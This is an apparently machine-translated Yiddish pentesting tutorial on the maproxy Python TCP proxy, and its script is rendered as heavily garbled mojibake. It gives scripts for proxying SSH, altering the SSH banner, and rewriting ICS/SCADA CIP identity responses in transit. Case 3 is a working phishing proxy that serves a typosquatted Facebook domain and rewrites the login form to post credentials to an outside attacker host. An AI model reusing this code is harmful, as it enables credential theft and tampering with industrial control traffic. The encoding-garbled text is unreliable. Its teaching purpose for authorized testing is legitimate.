ืคึผืจืึธืฆืขืก ื ืขืฅ ื“ืึทื˜ืŸ ืื•ื™ืฃ ื“ื™ ืคืœื™ืขืŸ

ื“ื™ ืื™ื‘ืขืจื–ืขืฆื•ื ื’ ืคื•ืŸ ื“ืขื ืึทืจื˜ื™ืงืœ ืื™ื– ื’ืขื•ื•ืขืŸ ืฆื•ื’ืขื’ืจื™ื™ื˜ ืื•ื™ืฃ ื“ื™ ืขืจืขื•ื• ืคื•ืŸ ื“ื™ ืึธื ื”ื™ื™ื‘ ืคื•ืŸ ื“ื™ ืงื•ืจืก โ€œืคึผืขื ื˜ืขืกื˜. ื“ื•ืจื›ื“ืจื•ื ื’ ื˜ืขืกื˜ื™ื ื’ ืคื™ืจ".

ืคึผืจืึธืฆืขืก ื ืขืฅ ื“ืึทื˜ืŸ ืื•ื™ืฃ ื“ื™ ืคืœื™ืขืŸ

ืึทื ืึธื˜ืึทืฆื™ืข

ื ืคืึทืจืฉื™ื™ื“ื ืงื™ื™ึทื˜ ืคื•ืŸ ื˜ื™ื™ืคึผืก ืคื•ืŸ ื–ื™ื›ืขืจื”ื™ื™ื˜ ืึทืกืขืกืžืึทื ืฅ, ืจื™ื™ื ื“ื–ืฉื™ื ื’ ืคื•ืŸ ืจืขื’ื•ืœืขืจ ื“ื•ืจื›ื“ืจื•ื ื’ ื˜ืขืกื˜ื™ื ื’ ืื•ืŸ ืจืขื“ ืžืึทื ืฉืึทืคึฟื˜ ืึทืคึผืขืจื™ื™ืฉืึทื ื– ืฆื• ื›ืึทืงื™ื ื’ IoT/ICS ื“ืขื•ื•ื™ืกืขืก ืื•ืŸ SCADA, ื™ื ื•ื•ืึทืœื•ื•ื– ืืจื‘ืขื˜ืŸ ืžื™ื˜ ื‘ื™ื™ื ืขืจื™ ื ืขืฅ ืคึผืจืึธื˜ืึธืงืึธืœืก, ื“ืึธืก ืื™ื–, ื‘ื™ื™ืกื™ืงืœื™ ื™ื ื˜ืขืจืกืขืคึผื˜ื™ื ื’ ืื•ืŸ ืžืึธื“ื™ืคื™ืฆื™ืจืŸ ื ืขืฅ ื“ืึทื˜ืŸ ืฆื•ื•ื™ืฉืŸ ื“ืขื ืงืœื™ืขื ื˜ ืื•ืŸ ื“ื™ ืฆื™ืœ. ืกื ื™ืคื™ื ื’ ื ืขืฅ ืคืึทืจืงืขืจ ืื™ื– ื ื™ืฉื˜ ืึท ืฉื•ื•ืขืจ ืึทืจื‘ืขื˜ ื–ื™ื ื˜ ืžื™ืจ ื”ืึธื‘ืŸ ืžื›ืฉื™ืจื™ื ื•ื•ื™ Wireshark, Tcpdump ืึธื“ืขืจ Scapy, ืึธื‘ืขืจ ืžืึธื“ื™ืคื™ืงืึทื˜ื™ืึธืŸ ืกื™ืžื– ืฆื• ื–ื™ื™ืŸ ืึท ืžืขืจ ืึทืจื‘ืขื˜-ืื™ื ื˜ืขื ืกื™ื•ื•ืข ืึทืจื‘ืขื˜ ื–ื™ื ื˜ ืžื™ืจ ื“ืึทืจืคึฟืŸ ืฆื• ื”ืึธื‘ืŸ ืึท ืžื™ืŸ ืคื•ืŸ ืฆื•ื‘ื™ื ื“ ืฆื• ืœื™ื™ืขื ืขืŸ ื“ื™ ื ืขืฅ ื“ืึทื˜ืŸ, ืคื™ืœื˜ืขืจ ืขืก, ื˜ื•ื™ืฉืŸ. ืขืก ืื•ื™ืฃ ื“ื™ ืคืœื™ืขืŸ ืื•ืŸ ืฉื™ืงืŸ ืขืก ืฆื•ืจื™ืง ืฆื• ื“ืขืจ ืฆื™ืœ ื‘ืึทืœืขื‘ืึธืก ืื™ืŸ ื›ึผืžืขื˜ ืคืึทืงื˜ื™ืฉ ืฆื™ื™ื˜. ืื™ืŸ ืึทื“ื™ืฉืึทืŸ, ืขืก ื•ื•ืึธืœื˜ ื–ื™ื™ืŸ ื™ื“ืขืึทืœ ืื•ื™ื‘ ืึทื–ืึท ืึท ื’ืขืฆื™ื™ึทื’ ืงืขืŸ ืื•ื™ื˜ืึธืžืึทื˜ื™ืฉ ืึทืจื‘ืขื˜ืŸ ืžื™ื˜ ืงื™ื™ืคืœ ืคึผืึทืจืึทืœืขืœ ืงืึทื ืขืงืฉืึทื ื– ืื•ืŸ ื–ื™ื™ืŸ ืงื•ืกื˜ืึธืžื™ื–ืึทื‘ืœืข ื ื™ืฆืŸ ืกืงืจื™ืคึผืก.

ืื™ื™ืŸ ื˜ืึธื’ ืื™ืš ื“ื™ืกืงืึทื•ื•ืขืจื“ ืึท ื’ืขืฆื™ื™ึทื’ ื’ืขืจื•ืคืŸ maproxy, ื“ื™ ื“ืึทืงื™ื•ืžืขื ื˜ื™ื™ืฉืึทืŸ ื’ืขืฉื•ื•ื™ื ื“ ื’ืขืžืื›ื˜ ืขืก ืงืœืึธืจ ืฆื• ืžื™ืจ ืึทื– maproxy - ืคึผื•ื ืงื˜ ื•ื•ืึธืก ืื™ืš ื“ืึทืจืคึฟืŸ. ื“ืึธืก ืื™ื– ืึท ืคืขืจืœื™ ืคึผืฉื•ื˜, ื•ื•ืขืจืกืึทื˜ืึทืœ ืื•ืŸ ืœื™ื™ื›ื˜ ืงืึทื ืคื™ื’ื™ืขืจืึทื‘ืึทืœ TCP ืคืจืืงืกื™. ืื™ืš ื˜ืขืกื˜ืขื“ ื“ืขื ื’ืขืฆื™ื™ึทื’ ืื•ื™ืฃ ืขื˜ืœืขื›ืข ืคืขืจืœื™ ืงืึธืžืคึผืœืขืงืก ืึทืคึผืœืึทืงื™ื™ืฉืึทื ื–, ืึทืจื™ื™ึทื ื’ืขืจืขื›ื ื˜ ICS ื“ืขื•ื•ื™ืกืขืก (ื•ื•ืึธืก ื“ื–ืฉืขื ืขืจื™ื™ื˜ ืึท ืคึผืœืึทืฅ ืคื•ืŸ ืคึผืึทืงื™ืฅ) ืฆื• ื–ืขืŸ ืื•ื™ื‘ ืขืก ืงืขืŸ ืฉืขืคึผืŸ ืคื™ืœืข ืคึผืึทืจืึทืœืขืœ ืงืึทื ืขืงืฉืึทื ื–, ืื•ืŸ ื“ื™ ื’ืขืฆื™ื™ึทื’ ืื™ื– ื’ืขื•ื•ืขืŸ ื’ื•ื˜.

ื“ืขืจ ืึทืจื˜ื™ืงืœ ื•ื•ืขื˜ ื‘ืึทืงืขื ืขืŸ ืื™ืจ ืฆื• ืคึผืจืึทืกืขืกื™ื ื’ ื ืขืฅ ื“ืึทื˜ืŸ ืื•ื™ืฃ ื“ื™ ืคืœื™ืขืŸ ื ื™ืฆืŸ maproxy.

ืึธืคึผืฉืึทืฆื•ื ื’

ืงื™ื™ืœืข maproxy ืื™ื– ื‘ืื–ื™ืจื˜ ืื•ื™ืฃ ื˜ืึธืจื ืึทื“ืึธ, ืึท ืคืึธืœืงืก ืื•ืŸ ื“ืขืจื•ื•ืึทืงืกืŸ ื™ื™ืกื™ื ื’ืงืจืึทื ืึทืก ื ืขื˜ื•ื•ืึธืจืงื™ื ื’ ืคืจื™ื™ืžื•ื•ืขืจืง ืื™ืŸ ืคึผื™ื˜ื”ืึธืŸ.

ืื™ืŸ ืึทืœื’ืขืžื™ื™ืŸ, ืขืก ืงืขื ืขืŸ ืึทืจื‘ืขื˜ืŸ ืื™ืŸ ืขื˜ืœืขื›ืข ืžืึธื“ืขืก:

  • TCP:TCP - ืึทื ืขื ืงืจื™ืคึผื˜ื™ื“ TCP ืงืึทื ืขืงืฉืึทื ื–;
  • TCP:SSL ะธ SSL:TCP - ืžื™ื˜ ืื™ื™ืŸ-ื•ื•ืขื’ ืขื ืงืจื™ืคึผืฉืึทืŸ;
  • SSL:SSL - ืฆื•ื•ื™ื™-ื•ื•ืขื’ ืขื ืงืจื™ืคึผืฉืึทืŸ.

ืขืก ืงื•ืžื˜ ื•ื•ื™ ืึท ื‘ื™ื‘ืœื™ืึธื˜ืขืง. ืคึฟืึทืจ ืึท ืฉื ืขืœ ืึธื ื”ื™ื™ื‘, ืื™ืจ ืงืขื ืขืŸ ื ื•ืฆืŸ ื‘ื™ื™ืฉืคื™ืœืŸ ื˜ืขืงืขืก ื•ื•ืึธืก ืคืึทืจื˜ืจืึทื›ื˜ื  ื–ื™ืš ื“ื™ ื”ื•ื™ืคึผื˜ ื‘ื™ื‘ืœื™ืึธื˜ืขืง ืคืึทื ื’ืงืฉืึทื ื–:

  • all.py
  • certificate.pem
  • logging_proxy.py
  • privatekey.pem
  • ssl2ssl.py
  • ssl2tcp.py
  • tcp2ssl.py
  • tcp2tcp.py

ืคืึทืœ 1 - ืคึผืฉื•ื˜ ื‘ื™ื™ื“ื™ืจืขืงื˜ื™ืึธื ืึทืœ ืคึผืจืึทืงืกื™

ื‘ืื–ื™ืจื˜ ืื•ื™ืฃ tcp2tcp.py:

#!/usr/bin/env python

import tornado.ioloop
import maproxy.proxyserver

server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()

ื“ื•ืจืš ืคืขืœื™ืงื™ื™ึทื˜ ProxyServer() ื ืขืžื˜ ืฆื•ื•ื™ื™ ืึทืจื’ื•ืžืขื ื˜ืŸ - ื“ื™ ืงืฉืจ ืึธืจื˜ ืื•ืŸ ื“ื™ ืฆื™ืœ ืคึผืึธืจื˜. server.listen() ื ืขืžื˜ ืื™ื™ืŸ ืึทืจื’ื•ืžืขื ื˜ - ื“ื™ ืคึผืึธืจื˜ ืคึฟืึทืจ ืฆื•ื’ืขื”ืขืจื˜ ืฆื• ื“ื™ ื™ื ืงืึทืžื™ื ื’ ืงืฉืจ.

ืขืงืกืึทืงื™ื•ื˜ื™ื ื’ ื“ื™ ืฉืจื™ืคื˜:

# python tcp2tcp.py

ืื™ืŸ ืกื“ืจ ืฆื• ืœื•ื™ืคืŸ ื“ื™ ืคึผืจืึธื‘ืข, ืžื™ืจ ื•ื•ืขืœืŸ ืคืึทืจื‘ื™ื ื“ืŸ ืฆื• ืึท ื”ื™ื’ืข SSH ืกืขืจื•ื•ืขืจ ื“ื•ืจืš ืื•ื ื“ื–ืขืจ ืคึผืจืึทืงืกื™ ืฉืจื™ืคื˜, ื•ื•ืึธืก ืœื™ืกืึทื ื– ืื•ื™ืฃ 2222/tcp ืคึผืึธืจื˜ ืื•ืŸ ืงืึทื ืขืงืฅ ืฆื• ืึท ื ืึธืจืžืึทืœ ืคึผืึธืจื˜ 22/tcp SSH ืกืขืจื•ื•ืขืจืก:

ืคึผืจืึธืฆืขืก ื ืขืฅ ื“ืึทื˜ืŸ ืื•ื™ืฃ ื“ื™ ืคืœื™ืขืŸ

ื“ืขืจ ื‘ืึทื’ืจื™ืกื•ื ื’ ืคืึธืŸ ื™ื ืคืึธืจืžื– ืื™ืจ ืึทื– ืื•ื ื“ื–ืขืจ ื‘ื™ื™ืฉืคึผื™ืœ ืฉืจื™ืคื˜ ื”ืื˜ ื”ืฆืœื—ื” ืคึผืจืึทืงืกื™ื™ื“ ื ืขืฅ ืคืึทืจืงืขืจ.

ืคืึทืœ 2 - ื“ืึทื˜ืŸ ืžืึธื“ื™ืคื™ืงืึทื˜ื™ืึธืŸ

ืืŸ ืื ื“ืขืจ ื“ืขืžืึธ ืฉืจื™ืคื˜ logging_proxy.py ื™ื“ืขืึทืœ ืคึฟืึทืจ ื™ื ื˜ืขืจืึทืงื˜ื™ื ื’ ืžื™ื˜ ื ืขืฅ ื“ืึทื˜ืŸ. ื“ื™ ื‘ืึทืžืขืจืงื•ื ื’ืขืŸ ืื™ืŸ ื“ืขืจ ื˜ืขืงืข ื‘ืึทืฉืจื™ื™ึทื‘ืŸ ื“ื™ ืงืœืึทืก ืžืขื˜ื”ืึธื“ืก ืึทื– ืื™ืจ ืงืขื ืขืŸ ืžืึธื“ื™ืคื™ืฆื™ืจืŸ ืฆื• ื“ืขืจื’ืจื™ื™ื›ืŸ ื“ื™ื™ืŸ ืฆื™ืœ:

ืคึผืจืึธืฆืขืก ื ืขืฅ ื“ืึทื˜ืŸ ืื•ื™ืฃ ื“ื™ ืคืœื™ืขืŸ

ื“ื™ ืžืขืจืกื˜ ื˜ืฉื™ืงืึทื•ื•ืข ื–ืึทืš ืื™ื– ื“ืึธ:

  • on_c2p_done_read - ืฆื• ื™ื ื˜ืขืจืกืขืคึผื˜ ื“ืึทื˜ืŸ ืคื•ืŸ ื“ืขื ืงืœื™ืขื ื˜ ืฆื• ื“ื™ ืกืขืจื•ื•ืขืจ;
  • on_p2s_done_read - ืคืึทืจืงืขืจื˜.

ืœืึธืžื™ืจ ืคึผืจื•ื‘ื™ืจืŸ ืฆื• ื˜ื•ื™ืฉืŸ ื“ื™ SSH ื‘ืึทื ืขืจ ืึทื– ื“ืขืจ ืกืขืจื•ื•ืขืจ ืงืขืจื˜ ืฆื• ื“ืขื ืงืœื™ืขื ื˜:

[โ€ฆ]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[โ€ฆ]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[โ€ฆ]

ื•ื™ืกืคื™ืจืŸ ื“ืขื ืฉืจื™ืคื˜:

ืคึผืจืึธืฆืขืก ื ืขืฅ ื“ืึทื˜ืŸ ืื•ื™ืฃ ื“ื™ ืคืœื™ืขืŸ

ื•ื•ื™ ืื™ืจ ืงืขื ืขืŸ ื–ืขืŸ, ื“ืขืจ ืงืœื™ืขื ื˜ ืื™ื– ื’ืขื•ื•ืขืŸ ืคืึทืจืคื™ืจืŸ ื•ื•ื™ื™ึทืœ ื“ื™ SSH ืกืขืจื•ื•ืขืจ ื ืึธืžืขืŸ ืคึฟืึทืจ ืื™ื ืื™ื– ื’ืขื‘ื™ื˜ืŸ ืฆื• ยซDumnySSHยป.

ืคึผืจืึธืฆืขืก ื ืขืฅ ื“ืึทื˜ืŸ ืื•ื™ืฃ ื“ื™ ืคืœื™ืขืŸ

ืคืึทืœ 3 - ืคึผืฉื•ื˜ ืคื™ืฉื™ื ื’ ื•ื•ืขื‘ ื‘ืœืึทื˜

ืขืก ื–ืขื ืขืŸ ืกืึธืฃ ื•ื•ืขื’ืŸ ืฆื• ื ื•ืฆืŸ ื“ืขื ื’ืขืฆื™ื™ึทื’. ื“ืึธืก ืžืึธืœ ืœืึธื–ืŸ ืื•ื ื“ื– ืคืึธืงื•ืก ืื•ื™ืฃ ืขืคึผืขืก ืžืขืจ ืคึผืจืึทืงื˜ื™ืฉ ืคึฟื•ืŸ ื“ื™ ืจืขื“ ืžืึทื ืฉืึทืคึฟื˜ ืึทืคึผืขืจื™ื™ืฉืึทื ื– ื–ื™ื™ึทื˜. ืœืึธืžื™ืจ ื ืึธื›ืžืึทื›ืŸ ื“ื™ ืœืึทื ื“ื™ื ื’ ื‘ืœืึทื˜ m.facebook.com ืื•ืŸ ื ื•ืฆืŸ ืึท ืžื ื”ื’ ืคืขืœื“ ืžื™ื˜ ืึท ื“ื™ืœื™ื‘ืจืึทื˜ ื˜ื™ืคึผืึธ, ืœืžืฉืœ, m.facebok.com. ืคึฟืึทืจ ื“ืขืžืึทื ืกื˜ืจื™ื™ืฉืึทืŸ ืฆื•ื•ืขืงืŸ, ืœืึธื–ืŸ ืื•ื ื“ื– ื ืึธืจ ื™ื‘ืขืจื ืขืžืขืŸ ืึทื– ื“ื™ ืคืขืœื“ ืื™ื– ืจืขื’ื™ืกื˜ืจื™ืจื˜ ื“ื•ืจืš ืื•ื ื“ื–.

ืžื™ืจ ื•ื•ืขืœืŸ ืคืึทืจืœื™ื™ื’ืŸ ืึทืŸ ืึทื ืขื ืงืจื™ืคึผื˜ื™ื“ ื ืขืฅ ืคึฟืึทืจื‘ื™ื ื“ื•ื ื’ ืžื™ื˜ ืื•ื ื“ื–ืขืจ ื•ื•ื™ืงื˜ื™ืžืก ืคึผืจืึทืงืกื™ ืื•ืŸ ืกืกืœ ืกื˜ืจื™ื ืฆื• ื“ื™ Facebook ืกืขืจื•ื•ืขืจ (31.13.81.36). ืฆื• ืžืึทื›ืŸ ื“ืขื ื‘ื™ื™ึทืฉืคึผื™ืœ ืึทืจื‘ืขื˜, ืžื™ืจ ื“ืึทืจืคึฟืŸ ืฆื• ืคืึทืจื‘ื™ื™ึทื˜ืŸ ื“ื™ ื”ื˜ื˜ืคึผ ื‘ืึทืœืขื‘ืึธืก ื›ืขื“ืขืจ ืื•ืŸ ืึทืจื™ื™ึทื ืฉืคึผืจื™ืฆืŸ ื“ื™ ืจื™ื›ื˜ื™ืง ื”ืึธืกื˜ื ืึทืžืข, ืื•ืŸ ืžื™ืจ ื•ื•ืขืœืŸ ืื•ื™ืš ื“ื™ืกื™ื™ื‘ืึทืœ ืขื ื˜ืคืขืจ ืงืึทืžืคึผืจืขืฉืึทืŸ ืึทื–ื•ื™ ืžื™ืจ ืงืขื ืขืŸ ืœื™ื™ื›ื˜ ืึทืงืกืขืก ื“ื™ ืื™ื ื”ืึทืœื˜. ืœืขืกืึธืฃ, ืžื™ืจ ื•ื•ืขืœืŸ ืคืึทืจื‘ื™ื™ึทื˜ืŸ ื“ื™ HTML ืคืึธืจืขื ืึทื–ื•ื™ ืึทื– ื“ื™ ืœืึธื’ื™ืŸ ืงืจืึทื“ืขื ื˜ืฉืึทืœื– ื–ืขื ืขืŸ ื’ืขืฉื™ืงื˜ ืฆื• ืื•ื ื“ื– ืึทื ืฉื˜ืึธื˜ ืคื•ืŸ ืคืึทืกืขื‘ืึธืึธืง ืกืขืจื•ื•ืขืจืก:

[โ€ฆ]
def on_c2p_done_read(self,data):
 # replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[โ€ฆ]
 def on_p2s_done_read(self,data):
 # partial replacement of response
     data = data.replace("action="/yi/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[โ€ฆ]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[โ€ฆ]

ืื™ืŸ ืงื™ืฆืขืจ:

ืคึผืจืึธืฆืขืก ื ืขืฅ ื“ืึทื˜ืŸ ืื•ื™ืฃ ื“ื™ ืคืœื™ืขืŸ

ื•ื•ื™ ืื™ืจ ืงืขื ืขืŸ ื–ืขืŸ, ืžื™ืจ ื–ืขื ืขืŸ ื”ืฆืœื—ื” ื‘ื™ื›ื•ืœืช ืฆื• ืคืึทืจื‘ื™ื™ึทื˜ืŸ ื“ื™ ืึธืจื™ื’ื™ื ืขืœ ืคึผืœืึทืฅ.

ืคืึทืœ 4 - ืคึผืึธืจื˜ื™ื ื’ ืขื˜ื”ืขืจื ืขื˜ / IP

ืื™ืš ื”ืึธื‘ืŸ ืฉื•ื™ืŸ ื“ื™ืœื™ื ื’ ืžื™ื˜ ื™ื ื“ืึทืกื˜ืจื™ืึทืœ ื“ืขื•ื•ื™ืกืขืก ืื•ืŸ ื•ื•ื™ื™ื›ื•ื•ืืจื’ (ICS / SCADA) ืคึฟืึทืจ ื’ืึทื ืฅ ืขื˜ืœืขื›ืข ืžืึธืœ, ืึทื–ืึท ื•ื•ื™ ืคึผืจืึธื•ื’ืจืึทืžืึทื‘ืึทืœ ืงืึทื ื˜ืจืึธื•ืœืขืจื– (ืคึผืœืง), ื™ / ืึธ ืžืึทื“ื–ืฉื•ืœื–, ื“ืจื™ื™ื•ื•ื–, ืจื™ืœื™ื™ื–, ืœื™ื™ื˜ืขืจ ืคึผืจืึธื’ืจืึทืžืžื™ื ื’ ื™ื ื•ื•ื™ื™ืจืึทื ืžืึทื ืฅ ืื•ืŸ ืคื™ืœืข ืžืขืจ. ื“ืขืจ ืคืึทืœ ืื™ื– ืคึฟืึทืจ ื“ื™ ื•ื•ืืก ื•ื•ื™ ื™ื ื“ืึทืกื˜ืจื™. ื›ืึทืงื™ื ื’ ืึทื–ืึท ืกืึทืœื•ืฉืึทื ื– ื™ื ื•ื•ืึทืœื•ื•ื– ืึทืงื˜ื™ื•ื•ืœื™ ืคึผืœื™ื™ื™ื ื’ ืžื™ื˜ ื ืขืฅ ืคึผืจืึธื˜ืึธืงืึธืœืก. ืื™ืŸ ื“ื™ ืคืืœื’ืขื ื“ืข ื‘ื™ื™ึทืฉืคึผื™ืœ, ืื™ืš ื•ื•ืึธืœื˜ ื•ื•ื™ ืฆื• ื•ื•ื™ื™ึทื–ืŸ ื•ื•ื™ ืื™ืจ ืงืขื ืขืŸ ืžืึธื“ื™ืคื™ืฆื™ืจืŸ ICS / SCADA ื ืขืฅ ืคืึทืจืงืขืจ.

ืคึฟืึทืจ ื“ืขื ืื™ืจ ื•ื•ืขื˜ ื“ืึทืจืคึฟืŸ ื“ื™ ืคืืœื’ืขื ื“ืข:

  • ื ืขืฅ ืกื ื™ืคืขืจ, ืคึฟืึทืจ ื‘ื™ื™ึทืฉืคึผื™ืœ, Wireshark;
  • ืขื˜ื”ืขืจื ืขื˜ / IP ืึธื“ืขืจ ื ืึธืจ ืึท ื–ื•ืคึผืŸ ืžื™ื˜ืœ, ืื™ืจ ืงืขื ืขืŸ ื’ืขืคึฟื™ื ืขืŸ ืขืก ืžื™ื˜ ื“ื™ Shodan ื“ื™ื ืกื˜;
  • ืื•ื ื“ื–ืขืจ ืฉืจื™ืคื˜ ืื™ื– ื‘ืื–ื™ืจื˜ ืื•ื™ืฃ maproxy.

ืขืจืฉื˜ืขืจ, ืœืึธืžื™ืจ ืงื•ืง ื•ื•ื™ ืึท ื˜ื™ืคึผื™ืฉ ืœืขื’ื™ื˜ื™ืžืึทืฆื™ืข ืขื ื˜ืคืขืจ ืคื•ืŸ CIP (Common Industrial Protocol) ืงื•ืงื˜ ื•ื•ื™:

ืคึผืจืึธืฆืขืก ื ืขืฅ ื“ืึทื˜ืŸ ืื•ื™ืฃ ื“ื™ ืคืœื™ืขืŸ

ืžื™ื˜ืœ ืœืขื’ื™ื˜ื™ืžืึทืฆื™ืข ืื™ื– ื“ื•ืจื›ื’ืขืงืึธื›ื˜ ืžื™ื˜ ื“ื™ ืขื˜ื”ืขืจื ืขื˜ / IP ืคึผืจืึธื˜ืึธืงืึธืœ, ื•ื•ืึธืก ืื™ื– ืึท ืขื ื›ืึทื ืกื˜ ื•ื•ืขืจืกื™ืข ืคื•ืŸ โ€‹โ€‹โ€‹โ€‹ื“ื™ ื™ื ื“ืึทืกื˜ืจื™ืึทืœ ืขื˜ื”ืขืจื ืขื˜ ืคึผืจืึธื˜ืึธืงืึธืœ ื•ื•ืึธืก ืจืึทืคึผืก ืงืึธื ื˜ืจืึธืœ ืคึผืจืึธื˜ืึธืงืึธืœืก ืึทื–ืึท ื•ื•ื™ CIP. ืžื™ืจ ื•ื•ืขืœืŸ ื˜ื•ื™ืฉืŸ ื“ื™ ื›ื™ื™ืœื™ื™ื˜ื™ื“ ืฉื™ื™ึทืŸ ื ืึธืžืขืŸ ื•ื•ืึธืก ืื™ื– ืงืขื ื˜ื™ืง ืื™ืŸ ื“ื™ ืกืงืจืขืขื ืฉืึธื˜ "NI-IndComm ืคึฟืึทืจ ืขื˜ื”ืขืจื ืขื˜" ื ื™ืฆืŸ ืื•ื ื“ื–ืขืจ ืคึผืจืึทืงืกื™ ืฉืจื™ืคื˜. ืžื™ืจ ืงืขื ืขืŸ ื•ื•ื™ื“ืขืจ ื ื•ืฆืŸ ื“ืขื ืฉืจื™ืคื˜ logging_proxy.py ืื•ืŸ ืกื™ืžื™ืœืึทืจืœื™ ืžืึธื“ื™ืคื™ืฆื™ืจืŸ ื“ื™ ืงืœืึทืก ืื•ืคึฟืŸ on_p2s_done_read, ื•ื•ื™ื™ึทืœ ืžื™ืจ ื•ื•ืขืœืŸ ืึทื– ืึท ืึทื ื“ืขืจืฉ ืื™ื“ืขื ื˜ื™ื˜ืขื˜ ื ืึธืžืขืŸ ื–ืึธืœ ื–ื™ื™ืŸ ืงืขื ื˜ื™ืง ืื•ื™ืฃ ื“ืขื ืงืœื™ืขื ื˜.

ืงืึธื“:

[โ€ฆ]
 def on_p2s_done_read(self,data):
 # partial replacement of response

 # Checking if we got List Identity message response
     if data[26:28] == b'x0cx00':
         print('Got response, replacing')
         data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
     super(LoggingSession,self).on_p2s_done_read(data)
[โ€ฆ]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[โ€ฆ]

ื™ืกืขื ืฉืึทืœื™, ืžื™ืจ ื’ืขื‘ืขื˜ืŸ ืคึฟืึทืจ ืžื™ื˜ืœ ืœืขื’ื™ื˜ื™ืžืึทืฆื™ืข ืฆื•ื•ื™ื™ ืžืึธืœ, ื“ื™ ืจื’ืข ืขื ื˜ืคืขืจ ืื™ื– ื’ืขื•ื•ืขืŸ ื“ืขืจ ืึธืจื™ื’ื™ื ืขืœ, ืื•ืŸ ื“ืขืจ ืขืจืฉื˜ืขืจ ืื™ื– ืžืึทื“ืึทืคื™ื™ื“ ืื•ื™ืฃ ื“ื™ ืคืœื™ืขืŸ.

ืื•ืŸ ื“ื™ ืœืขืฆื˜ืข

ืื™ืŸ ืžื™ื™ืŸ ืžื™ื™ื ื•ื ื’ maproxy ื ื‘ืึทืงื•ื•ืขื ืื•ืŸ ืคึผืฉื•ื˜ ื’ืขืฆื™ื™ึทื’, ื•ื•ืึธืก ืื™ื– ืื•ื™ืš ื’ืขืฉืจื™ื‘ืŸ ืื™ืŸ ืคึผื™ื˜ื”ืึธืŸ, ืึทื–ื•ื™ ืื™ืš ื’ืœื•ื™ื‘ืŸ ืึทื– ืื™ืจ ืื•ื™ืš ืงืขื ืขืŸ ื ื•ืฅ ืคื•ืŸ ื ื™ืฆืŸ ืขืก. ืคื•ืŸ ืงื•ืจืก, ืขืก ื–ืขื ืขืŸ ืžืขืจ ืงืึธืžืคึผืœื™ืฆื™ืจื˜ ืžื›ืฉื™ืจื™ื ืคึฟืึทืจ ืคึผืจืึทืกืขืกื™ื ื’ ืื•ืŸ ืžืึทื“ืึทืคื™ื™ื™ื ื’ ื ืขืฅ ื“ืึทื˜ืŸ, ืึธื‘ืขืจ ื–ื™ื™ ืื•ื™ืš ื“ืึทืจืคืŸ ืžืขืจ ื•ืคืžืขืจืงื–ืึทืžืงื™ื™ื˜ ืื•ืŸ ื–ืขื ืขืŸ ื™ื•ื–ืฉืึทื•ื•ืึทืœื™ ื‘ืืฉืืคืŸ ืคึฟืึทืจ ืึท ืกืคึผืขืฆื™ืคื™ืฉ ื ื•ืฆืŸ ืคืึทืœ, ืœืžืฉืœ. ืžื•ืจืึทืขื ืึท, ืžืึธื“ื™ืฉืงืึท ืึธื“ืขืจ ืขื•ื•ื™ืœื’ื™ื ืงืก ืคึฟืึทืจ ืงืึทืกืขืก ืขื ืœืขืš ืฆื• ื“ื™ ื“ืจื™ื˜, ืึธื“ืขืจ canape ืคึฟืึทืจ ื“ื™ ืœืขืฆื˜ืข ืคืึทืœ. ืื™ื™ืŸ ื•ื•ืขื’ ืึธื“ืขืจ ืื ื“ืขืจืŸ, ืžื™ื˜ ื“ื™ ื”ื™ืœืฃ maproxy ืื™ืจ ืงืขื ืขืŸ ื’ืขืฉื•ื•ื™ื ื“ ื™ื ืกื˜ืจื•ืžืขื ื˜ ื“ื™ื™ืŸ ื™ื™ื“ื™ืึทื– ืคึฟืึทืจ ื™ื ื˜ืขืจืกืขืคึผื˜ื™ื ื’ ื ืขืฅ ื“ืึทื˜ืŸ, ื•ื•ื™ื™ึทืœ ื“ื™ ื‘ื™ื™ืฉืคึผื™ืœ ืกืงืจื™ืคึผืก ื–ืขื ืขืŸ ื–ื™ื™ืขืจ ืงืœืึธืจ.

ื˜ืขืกื˜ื™ื ื’ ืึธื˜ืขื ื˜ืึทืงื™ื™ืฉืึทืŸ ืžืขืงืึทื ื™ื–ืึทืžื– ืื™ืŸ Windows AD

ืžืงื•ืจ: www.habr.com

ืœื™ื™ื’ืŸ ืึท ื‘ืึทืžืขืจืงื•ื ื’